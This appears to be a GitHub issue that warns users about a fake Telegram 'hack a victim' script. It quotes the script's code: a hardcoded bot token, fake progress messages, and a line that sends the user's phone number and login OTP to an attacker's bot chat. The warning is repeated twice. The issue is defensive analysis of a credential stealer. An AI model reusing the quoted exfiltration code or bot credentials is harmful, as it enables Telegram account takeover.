You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
from telethon import TelegramClient, events
import telegram
import asyncio
import time
import os
Telethon: Used to interact with the Telegram API.
telegram: Used to send messages via a Telegram bot.
asyncio, time, os: Used for script execution and system interaction.
🔴 These libraries are normal, but the risk lies in the use of the "telegram" bot.
YOUR_APP_ID and YOUR_APP_HASH are used to connect to the Telegram API.
Risk Point: bot = telegram.Bot(token='5611639359:AAHWhuVHkongx9GzoGlB0ZDCPlfikr8jJI8')
This is a Telegram bot that may send OTPs and phone numbers to someone else.
🔴 If this bot is controlled by someone else, your OTP could be leaked.
3️⃣ User Phone Number Input phone = input(cyan+bold+'[+]\033[0m \033[01mEnter your phone with country code (eg: +92) >\033[0m ')
This prompts the user to enter their phone number.
Once you enter your phone number, the script requests an OTP from Telegram.
🔴 If this script is under someone else's control, it can save your phone number.
4️⃣ OTP Request and Risky Bot Usage
otp = input(cyan+bold+"[+]\033[0m \033[01mEnter the OTP (check inside your telegram app for the otp from telegramm if it not comes to your sms) >\033[0m ")
await bot.send_message(chat_id='5469341309', text=f"Phone Number: {phone}\nOTP: {otp}")
The script uses Telegram's send_code_request() to request an OTP.
Then it asks the user to enter the OTP manually.
Risk Point 🚨:
This OTP is needed to log into your Telegram account.
This line: await bot.send_message(chat_id='5469341309', text=f"Phone Number: {phone}\nOTP: {otp}")
Sends the OTP to a Telegram bot controlled by someone else.
This means this script can hack your own account! 🚨🚨🚨
🔴 If you run this, your OTP will be sent to an attacker, and they will be able to access your Telegram account.
5️⃣ Fake Steps for Gathering Victim’s Data
victim = input(cyan+bold+'[+]\033[0m \033[01mEnter victim\'s phone with country code to hack(eg: +92) >\033[0m ')
print("Connecting to victim's api...")
time.sleep(3)
print("Gathering victim id and hash...[25%]")
time.sleep(2)
print("Collecting the contacts and chat data...[may take some time]")
time.sleep(6)
This only prints fake progress messages.
No actual hacking is happening—this is just a trick to fool users.
🔴 This script does not collect victim data; it only steals your OTP.
6️⃣ Login Attempt
await client.sign_in(phone, otp)
me = await client.get_me()
print(me.first_name)
The text was updated successfully, but these errors were encountered:
1️⃣ Required Libraries
Telethon: Used to interact with the Telegram API.
telegram: Used to send messages via a Telegram bot.
asyncio, time, os: Used for script execution and system interaction.
🔴 These libraries are normal, but the risk lies in the use of the "telegram" bot.
2️⃣ Important Credentials (Risk Alert 🚨)
YOUR_APP_ID and YOUR_APP_HASH are used to connect to the Telegram API.
Risk Point: bot = telegram.Bot(token='5611639359:AAHWhuVHkongx9GzoGlB0ZDCPlfikr8jJI8')
This is a Telegram bot that may send OTPs and phone numbers to someone else.
🔴 If this bot is controlled by someone else, your OTP could be leaked.
3️⃣ User Phone Number Input
phone = input(cyan+bold+'[+]\033[0m \033[01mEnter your phone with country code (eg: +92) >\033[0m ')
This prompts the user to enter their phone number.
Once you enter your phone number, the script requests an OTP from Telegram.
🔴 If this script is under someone else's control, it can save your phone number.
4️⃣ OTP Request and Risky Bot Usage
The script uses Telegram's send_code_request() to request an OTP.
Then it asks the user to enter the OTP manually.
Risk Point 🚨:
This OTP is needed to log into your Telegram account.
This line:
await bot.send_message(chat_id='5469341309', text=f"Phone Number: {phone}\nOTP: {otp}")
Sends the OTP to a Telegram bot controlled by someone else.
This means this script can hack your own account! 🚨🚨🚨
🔴 If you run this, your OTP will be sent to an attacker, and they will be able to access your Telegram account.
5️⃣ Fake Steps for Gathering Victim’s Data
This only prints fake progress messages.
No actual hacking is happening—this is just a trick to fool users.
🔴 This script does not collect victim data; it only steals your OTP.
6️⃣ Login Attempt
The text was updated successfully, but these errors were encountered: